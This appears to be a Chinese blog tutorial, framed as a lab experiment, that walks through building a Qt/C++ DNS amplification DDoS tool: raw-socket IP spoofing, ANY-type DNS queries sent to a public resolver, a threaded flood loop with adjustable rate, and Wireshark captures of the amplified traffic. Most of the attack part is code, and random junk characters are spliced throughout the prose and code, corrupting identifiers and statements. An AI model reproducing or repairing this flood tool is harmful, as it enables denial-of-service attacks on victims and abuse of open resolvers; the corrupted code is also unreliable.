黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

摘要: 发送大量的数据包消耗目标主机资源,使其无法正常工作

1.前言:

DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。

DNS放大攻击的原理:伪造DNS数据包,向DNS服务器发送域名查询报文了,而DNS服务器返回的应答报文则会发送给被攻击主机。放大体现在请求DNS回复的类型为ANY,攻击者向服务p t ] ] % Q . q器请求的包长度为69个字节,而服务器向被攻击主机回复的ANY类型DNS包长度为535字节,大约放大了7倍。

本次实验实现的是DOS+DNS放大攻击,在传输层使用UDP协议,应用层使用DNS协议,程序有界面,接受用户输入,用户还A O g n O z )能调节发包的速度改变攻击强度。

2.程序框图:

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

3.DOS+DNS简易界面的设计

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

添加5个文本框,用来接受用户输入的被攻击的ip # 5 w O h hp,发送的端口,服务器ip,发送接口名称,查询的域名。

添加x G G v z P 2 %一个滑块用来控制攻击的强度。

添加两个按钮控制攻击的开始和停止。

核心代码是attack按钮槽函数的实现} E L 3,接受输入,并调用攻击函数。

void Widget::on_attack_pushButton_clicked()

{

QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

QByteArray ifnamestr = ui->ifnamm 7 S j C # A 6e_Edit->text().toLatin1();

QQ u : r N LByteArray dnsipsG ! s N } 9 7 Ttr = ui->dns_Edit->text().toLatin1();

QByteArF q G ) k S Fray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamD ? f % - Iestr,ui->port_spinBox->

value(),dnsipstr,ui-&Y b o (gt;AttackLEVEL_Slider-&g$ O r 2 V S ] $t;value(),domainstr);

dosatta% | D k , O 8ck->start();

}

4.构造发送DNS报文

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

因为我们要伪造源5 , n n ( . N o :IP,发送DNS请求,所以我们的报文应该从IP头部开始构造,一直到UDP报文的数据部分。这里分为两个部分,IP头部和UDP头部作为一个部分,UDP的数据即DNS报文作为一个部分。

(1)IP伪首部+IP头部+UDP头部

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

UDP包在网络传输的时候要计算校验和,a 4 h F o , Q需要用到IP伪首部,IP伪首部在网络中不传输,只用作校验和的计算。我们构造两个数据结构,udpbuf填充UDa a OP头部包括IP头部、udpfhrd填充IP伪首部。核心代码在sendudp函数里填充数据,以及检验和checksum函数的实现。

//IP头部+UDP头部

struct udpbuf

{

struct ipD r G 8 ? V q R iph;

stru o { M 3 D & act udphq m A d h Idr udp;

};

//IP伪首部

struct udp w k ` Z R Efhrd

{

struct in_addr ip_src;

struct in_addr ip_dst;

c* ) e ^ whar zero;

char protocal;

short len;

};@ 2 Q w ] r 5 b Y

//检验和函数

unsigned shork c S K 6 M bt checksum(unsigV uned short * buffer, int size)

{

unsigned long cksum = 0;

while(size>1)

{

cksum += *buffer++;

size -=sizeof(unsigned short);

}

if (size)

{

cksum += *F x Y 1 x j u(unJ O Ysigned char*)buf e o ^ o ifer;

}

cksum = (u $ . d v Vcksum>>16)+ (cksum&0xffff);

cksum += (cksum>>16);

return (unsigned short)(~cksum);

}

//udp发送函数

void sendudp(char *src_ip, char *dst_ip,int src_2 / J 3 mpo[ P F f ( T `rt,int dst_port, char * ifname,

char*data,int datalen)

{r Y $ L l 8 i b

int buflen = sizeof(udpbuf)+datalen;| I k t v i ` ? #

char buf[buflen];

struct udpbuf *ubuf = (struct udpf h 0 Mbuf *)buf;

struct socka8 N 1 r h cddr_ll toaddr;

struct in_addr targe& : % A gtIP,srcIP;

struct ifreq ifr;

int skfd;

if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

bzero(&toaddw ] m 5 { : ,r, sizeof(toaddr));

bzero(&amz d C M x ) 9 t p;ifr, si{ q l U : izeof(ifr% I Y M V u S));

memcpO B I , : Ky(ifr.ifr_name,ifname,strlen(ifname));

ioctl(skfd, SIOCGIFINDEX,&amL | cp;ifr);

toaddr.sll_ifindex = ifr.ifr_ifindex;

ubuf->iph.ip_v = IPVERSION;

ubuf->iph.ip_hl= sizeof(sT $ ntruct ip)>>2;

ubuf->iph.ip_tos = 0;

ubuf->iph.ip_len = htons(buflen);

ubuf->u + ; 1 R 0 0iph.ip_id = 0;

ubuf->iph.ip_off = 0;

ubuf->iph.ip_ttl = MAXTTL;

ubuf-& 7 S | 4 V>iph.iA - j v 7 5 U $p_p = IPPROTO_UDP;

ubuf->iph.ip_sum = 0;

inet_pton(AF_INET,dst_ip,&targetIP);

ubuf->iph.ip_dst = targetI7 L 7 jP;

inet_pton(AF_INET,src_ip,&srcIP);

ubuf->iph.ip_src = srcIP;

ubuf->iph.ip_sum = checB / v L r { * O NksuB | ] D I lm((unsigneM U F O e _ = m ~d short *)(&(ubuf->iph)),sizeof(st1 8 ? I % U eruct ip));

ubuf->udp.source = htons(src_port);

ubuf->ud- P # P X *p.dest = htons(dst_port);

ubu% i % T Yf->udp.len = htons(sizeof(struct ud0 @ T 6 U r d # _pU } Hhdr) + datalu r q B Ken);

uI I ? } } i t o Jbuf->udp.check = 0;

memcpy(b / ( xuf + sizeof(struct udpbuf),data,datalen);

int csbuflen = siK E U R n c Fzeof(struct udpfhrd)+sizeof(struct udphdr)+(data1 j D I t hlen % 2 == 0?datalen:datalen + 1);

char checksumbuf[csbuflen] ;

struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;

fhrd->ip_dst = ubuf->iph.ip_dst;

fhrd->ip_src = ubuf->iph.ip_src;

fh[ 2 C c 0 Qrd->zero = 0;

fhs e { d + = 7rdW B I v : 7 C->protocal = ubuf->iph.ip

_p;/ 4 v +

fhrd->len = ubuf->udp.len;

memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+data4 r S % 4 dlen);

if(datalen % 2% = i != 0)

{ checksumbuf[csbuflen-1] = 0;}

ubuf->udp.check = checksum((unsigned shortk { { + k I ; L * *)(checksumbuf), I E,csbuflen);

toaddr.sll_family = AF_INET;

sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

close(skfd);, A 9 1 { 6 t R M

}8 # u y @ 9 $ J &

(2)Da ] - g G 3NS报文部分

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

同样构造一个数据R U ! c e j 结构 dnshdr来填充DNS报文,注意放大攻击的请求类型是ANY。

这一部分的核心是在DNS发送函数SendDns填充数据,以及查询名的转化,在DNS报文里查询名的存储格式是3www5baidu3com,用户提交的数据格式是www.baidu.com。

//DNS前, i m H 9 : | / K12字节

struct d/ K @nshdr

{

unsigned short id;

unsigned short bz;

unsigned short wtcount;

unsigned short zyCount;

unsigned short sqCount;

unsigned short ewCount;

};

//DNS可变部分

struct questtype

{

uM 5 ansigned short dnsType;

unA c ) $ ~ 1signed short dnsClass;

};t O ] 4 2 _ q

//sendDns函数,函数最后调用sendudp函数,将数据整合到sendudp函0 H f s n A -数中。

void SendDnH z [s(char * ifname ,char * srcf_X / d 9 v J b U Bip,unsigned short src_port, char * dns, QByteArray domain)

{

QList <QByteArray> domainlist= domain.spli# g $t(\'.\');

QByteArray domaV 1 + Y _inName;

for (int i = 0; i<domainlist.length();i++)

{

domainName += domainlist.at(i).length();

domainName += domainlist.at(i);

}

domainName += \'\\0\';

int bufflen = sizeon 9 a K T , Af(dnshdr) + domainName.length() + sizeof( questtype);

char buf[bufflen]= d d P : [ B L;

struct dnshdr * dnsh;

struct questtypez o P a / Z * * qtype;

dnsQ y ~ o Ah = (struct dnshdr*)buf;

qtype= (strx F t Huct questtype*)(buf +sizeof(struct dnshdr)+k L ]domainName.length());

dnsh->id = rand();

dnshF u % C->bz = hti ! ^ { 4 w 9 eons(0x0100);

dnsh->wtcount= htons(1);

dnsh->zyCount = htons(0);

dnsh->sqCount = htons(0);

dnsh->ewCount = htons(0);

memcpy(buf+sizeof(struct dnshdr),domainName.data(),do] 2 7mainName.length());

qtype->dnsType. A Z = htons(255);

qtype->dnsClass = htons(1);

sendf . Z _ 3 ) w Judp(srcf_[ S t tip,dns,; m T x @ s 7 Asrc_port, 53,ifname,j _ ibuf,bufflen);

}

5.Z 2 d D 9DNS放大攻击实现

这一部分创建一个DnsAttack类,实现DNS攻击,并通过usleep(Level)控制发包的5 # * , y v g f速度,从而改变攻击的强度。

class DosAttack:public QThread

{

public:

DosAtt^ & Nack(QByteArray dstip,QByteArray ifname,int port ,QByteAr9 F o M yray dns,int level,QByteArray domain);

bool running = true;

protected:

void run();

private:

QByteArray dw - Bstipstr;

QByteAa o ( ( & ^ V 9rray ifnamestr;

QByteArray Dnsstr;

int Port;

int Level;

QByteArray Domainstr;

};

DosAttack::DosAttack(QByteArray dstip,QByte = n 7Array ifname,int p~ P ~ ! ) O c U |ort ,QByteArray dns,int level,QByty a h k seArray domain)

{

dstipstr = dstip;

ifnam~ 4 J , K , C X *estr = ifname;

Port = port;

Dnsstr =dns;

Domainstr = domain;

Level =(10-level)*50;

}

void DosAf 5 L F ` W + cttack::run()

{

char * dstip = dstipstr.data();

char * ifname = ifnamestr.data();\\

char * dns = Dnsstr.2 h , q r ] Ldata();

while(running == true0 d n K B h @ -)

{

SendDns(ifname,dstip,Port,dX F . C # Bns,Domainstr);

usleep(Level);

}

}

6.实验截图

运行的界面,伪造172.20.218.233发出DNS请求。

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

通过wireshark抓包工具看到我们的DN? O qS请求包已经成功发出,包的长度为6O # F 8 v K ;9个字节,请求A Z E c ? g s类型为ANY。

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

在目标主机打开y # b fwireshark,接受到来自8.8.8.8发送来的应答包,可以看到包长U v p A =度为535个字节,放大了7倍。

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

调节攻击的强度为5

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

wireshark分析速度,峰值约为1000

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

调节攻击的强度为10

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

wireshark分析速度,峰值约为3500

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

那么我们的DOS攻击和DNS放大攻击两f D .大功能就成功实+ v V d 3 ?现了。

7.实验总结

本次实验使用QT作为程序开发的框架,实现了DOS和DNS放大攻击程序的编写,对网络数据包,网络编程以及网络安全有了更W @ t S加深刻的理解,网c J H b N S F = f络简单^ 0 W Q ? = /易用的设计原理,使得攻击者可以轻易伪造数据。在重要数据传输的时候,要使用更加安全的协议如TCP,HTTPS等。

上述内容不知道大家学习到了吗?网络世界的安全漏洞每天都会出现,安全知识和安全意识每个公民都应该了解和学习,有想学习网络安全技能的小伙伴可以随时私信我哦!

上一篇

复联4:为什么浩克打响指,却没办法复活寡姐?

下一篇

科技图鉴 | 有了分付“洗钱式发薪”又多了一步

评论已经被关闭。

插入图片
返回顶部